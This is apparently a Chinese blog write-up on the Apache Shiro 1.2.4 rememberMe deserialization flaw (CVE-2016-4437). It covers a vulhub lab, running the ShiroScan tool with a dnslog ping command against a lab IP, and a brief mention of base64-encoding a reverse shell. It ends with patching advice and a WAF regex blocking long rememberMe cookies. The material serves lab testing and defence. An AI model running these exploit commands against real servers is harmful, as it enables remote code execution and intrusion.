Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

最近小护网的时候经常看到有人利用这个漏洞,然后也学习了一下,这里做下记录,环境搭建、漏洞利用和修复加固


环境搭建

这里可以使用 vulhub来搭建漏洞环境

cd shiro/CVE-2016-4437/
docker-compose up -d

image-20200523182545837

image-20200523182717343


漏洞测试

测试我使用的是 shiroscan来测试漏洞的, 是从 adminxe 老哥的博客里发现的,比我自己改的脚本好使多了

1、安装

git clone https://github.com/sv3nbeast/ShiroScan.git 

cd .\ShiroScan\

2、python 模块安装

官网上是直接 pip3 install -r requirments.txt 这样安装,但是我发现不好使,因为 os、base64、subprocess、sys、re 这些模块都是 python 自带的不需要安装,直接这样安装会报错的

image-20200523185743261

直接安装下面这些模块就可以了

pip3 install uuid requests threadpool -i https://pypi.tuna.tsinghua.edu.cn/simple

这是还有 Crypto.Cipher 模块没有安装,因为 pycrypto 已经不维护了,所以安装pycryptodome一样的

pip install pycryptodome

Lib\site-packages 找到 crypto 库,修改成大写的 Crypto,可以参考这个链接 => 链接

image-20200523190646571

3、测试

因为没有回显,所以我们需要使用 dnslog 来辅助我们验证,(其实也是可以有回显的,就是我不会

image-20200523184924469

python shiro.py http://192.168.121.129:8080/ "ping k4qlmy.dnslog.cn"

GIF


反弹shell

可以看到域名成功解析,我们继续试试执行命令。我们需要在 java Runtime 进行编码我们的反弹shell(因为反弹shell里面有特殊符号需要base64编码一下才能传输)。

1


修复

1.升级Shiro到最新版

2.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上

3.WAF拦截Cookie中长度过大的rememberMe值

之前防守的时候就在安恒的WAF上加过策略,rememberme长度超过100的就阻断(安恒正则所有字符都要转义,正常+=空格是不需要转义的),不是攻击的remembrm的长度也是很长的我见过500的,如果还有业务需求这种最好不要用

(?i:rememberm)[a-zA-Z0-9\/\+\=\ ]{100,};?


参考

感谢下面这些大佬

https://vulhub.org/#/environments/shiro/CVE-2016-4437/

adminxe

2020攻防演练弹药库-斗象


如何回显的文章,大佬牛逼

https://mp.weixin.qq.com/s/-ODg9xL838wro2S_NK30bw




0
最后修改日期:2020年5月23日

留言

撰写回覆或留言

发布留言必须填写的电子邮件地址不会公开。